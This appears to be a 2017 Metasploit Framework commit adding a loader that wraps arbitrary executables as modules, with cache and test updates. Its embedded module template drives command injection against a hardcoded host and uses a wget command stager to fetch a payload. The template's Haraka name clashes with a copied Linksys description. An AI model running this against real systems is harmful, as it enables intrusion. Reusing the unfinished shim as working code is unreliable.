1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Add new loader for arbitrary executables

Still some kluges left in the shim and we have to hit the disk when
constructing the module path
This commit is contained in:
Adam Cammack 2017-03-27 15:36:47 -05:00
parent 51646e44a1
commit 71df231918
No known key found for this signature in database
GPG Key ID: C9378BA088092D66
4 changed files with 179 additions and 19 deletions

View File

@ -81,6 +81,7 @@ module Msf::ModuleManager::Cache
if module_info
parent_path = module_info[:parent_path]
# XXX borked
loaders.each do |loader|
if loader.loadable?(parent_path)
type = module_info[:type]
@ -88,7 +89,7 @@ module Msf::ModuleManager::Cache
loaded = loader.load_module(parent_path, type, reference_name, :force => true)
break
break if loaded
end
end
end
@ -162,11 +163,9 @@ module Msf::ModuleManager::Cache
# Skip cached modules that are not in our allowed load paths
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
# join to '' so that typed_path_prefix starts with file separator
typed_path_suffix = File.join('', typed_path)
escaped_typed_path = Regexp.escape(typed_path_suffix)
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
# The load path is assumed to be the next level above the type directory
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
module_info_by_path[path] = {
:reference_name => reference_name,

View File

@ -8,6 +8,7 @@ require 'active_support/concern'
# Project
#
require 'msf/core/modules/loader/directory'
require 'msf/core/modules/loader/executable'
# Deals with loading modules for the {Msf::ModuleManager}
module Msf::ModuleManager::Loading
@ -19,7 +20,8 @@ module Msf::ModuleManager::Loading
# Classes that can be used to load modules.
LOADER_CLASSES = [
Msf::Modules::Loader::Directory
Msf::Modules::Loader::Directory,
Msf::Modules::Loader::Executable # TODO: XXX: When this is the first loader we can load normal exploits, but not payloads
]
def file_changed?(path)

View File

@ -0,0 +1,165 @@
# -*- coding: binary -*-
require 'msf/core/modules/loader'
require 'msf/core/modules/loader/base'
# Concerns loading executables from a directory as modules
class Msf::Modules::Loader::Executable < Msf::Modules::Loader::Base
# Returns true if the path is a directory
#
# @param (see Msf::Modules::Loader::Base#loadable?)
# @return [true] if path is a directory
# @return [false] otherwise
def loadable?(path)
if File.directory?(path)
true
else
false
end
end
protected
# Yields the module_reference_name for each module file found under the directory path.
#
# @param [String] path The path to the directory.
# @param [Hash] opts Input Hash.
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
# @yieldparam [String] path The path to the directory.
# @yieldparam [String] type The type correlated with the directory under path.
# @yieldparam module_reference_name (see Msf::Modules::Loader::Base#each_module_reference_name)
# @return (see Msf::Modules::Loader::Base#each_module_reference_name)
def each_module_reference_name(path, opts={})
whitelist = opts[:whitelist] || []
::Dir.foreach(path) do |entry|
full_entry_path = ::File.join(path, entry)
type = entry.singularize
unless ::File.directory?(full_entry_path) and
module_manager.type_enabled? type
next
end
full_entry_pathname = Pathname.new(full_entry_path)
# Try to load modules from all the files in the supplied path
Rex::Find.find(full_entry_path) do |entry_descendant_path|
if File.executable?(entry_descendant_path) && !File.directory?(entry_descendant_path)
entry_descendant_pathname = Pathname.new(entry_descendant_path)
relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
# The module_reference_name doesn't have a file extension
module_reference_name = File.join(File.dirname(relative_entry_descendant_path), File.basename(relative_entry_descendant_path, '.*'))
yield path, type, module_reference_name
end
end
end
end
# Returns the full path to the module file on disk.
#
# @param (see Msf::Modules::Loader::Base#module_path)
# @return [String] Path to module file on disk.
def module_path(parent_path, type, module_reference_name)
# The extension is lost on loading, hit the disk to recover :(
partial_path = File.join(DIRECTORY_BY_TYPE[type], module_reference_name)
full_path = File.join(parent_path, partial_path)
Rex::Find.find(File.dirname(full_path)) do |mod|
if File.basename(full_path, '.*') == File.basename(mod, '.*')
return File.join(File.dirname(full_path), File.basename(mod))
end
end
''
end
# Loads the module content from the on disk file.
#
# @param (see Msf::Modules::Loader::Base#read_module_content)
# @return (see Msf::Modules::Loader::Base#read_module_content)
def read_module_content(parent_path, type, module_reference_name)
full_path = module_path(parent_path, type, module_reference_name)
unless File.executable?(full_path)
load_error(full_path, Errno::ENOENT.new)
return ''
end
%Q|
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Haraka Remote Command Injection',
'Description' => %q{
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
injection. This vulnerability was used from the so-called "TheMoon" worm. There
are many Linksys systems that are potentially vulnerable, including E4200, E3200, E3000,
E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This module was tested
successfully against an E1500 v1.0.5.
},
'Author' =>
[
'Johannes Ullrich', #worm discovery
'Rew', # original exploit
'infodox', # another exploit
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '31683' ],
[ 'BID', '65585' ],
[ 'OSVDB', '103321' ],
[ 'PACKETSTORM', '125253' ],
[ 'PACKETSTORM', '125252' ],
[ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ],
[ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ]
],
'DisclosureDate' => 'Feb 13 2014',
'Privileged' => true,
'Platform' => %w{ linux unix },
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux x64 Payload',
{
'Arch' => ARCH_X64,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 5 }
))
end
def execute_command(cmd, opts)
to = 'admin@arnold'
rhost = '192.168.244.130'
`#{module_path(parent_path, type, module_reference_name)} -c "\#{cmd}" -t \#{to} -m \#{rhost}`
true
end
def exploit
print_status("Trying to access the vulnerable URL...")
print_status("Exploiting...")
execute_cmdstager({:flavor => :wget})
end
end
|
end
end

View File

@ -166,9 +166,9 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
end
it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do
module_manager.send(:loaders).each do |loader|
expect(loader).to receive(:loadable?).with(parent_path).and_call_original
end
# Only the first one gets it since it finds the module
loader = module_manager.send(:loaders).first
expect(loader).to receive(:loadable?).with(parent_path).and_call_original
load_cached_module
end
@ -188,9 +188,9 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
context 'return from load_module' do
before(:example) do
module_manager.send(:loaders).each do |loader|
expect(loader).to receive(:load_module).and_return(module_loaded)
end
# Only the first one gets it since it finds the module
loader = module_manager.send(:loaders).first
expect(loader).to receive(:load_module).and_return(module_loaded)
end
context 'with false' do
@ -394,12 +394,6 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
expect(module_info_by_path).to have_key(path)
end
it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do
expect(Msf::Modules::Loader::Base).to receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original
module_info_by_path_from_database!
end
context 'cache entry' do
subject(:cache_entry) do
module_info_by_path[path]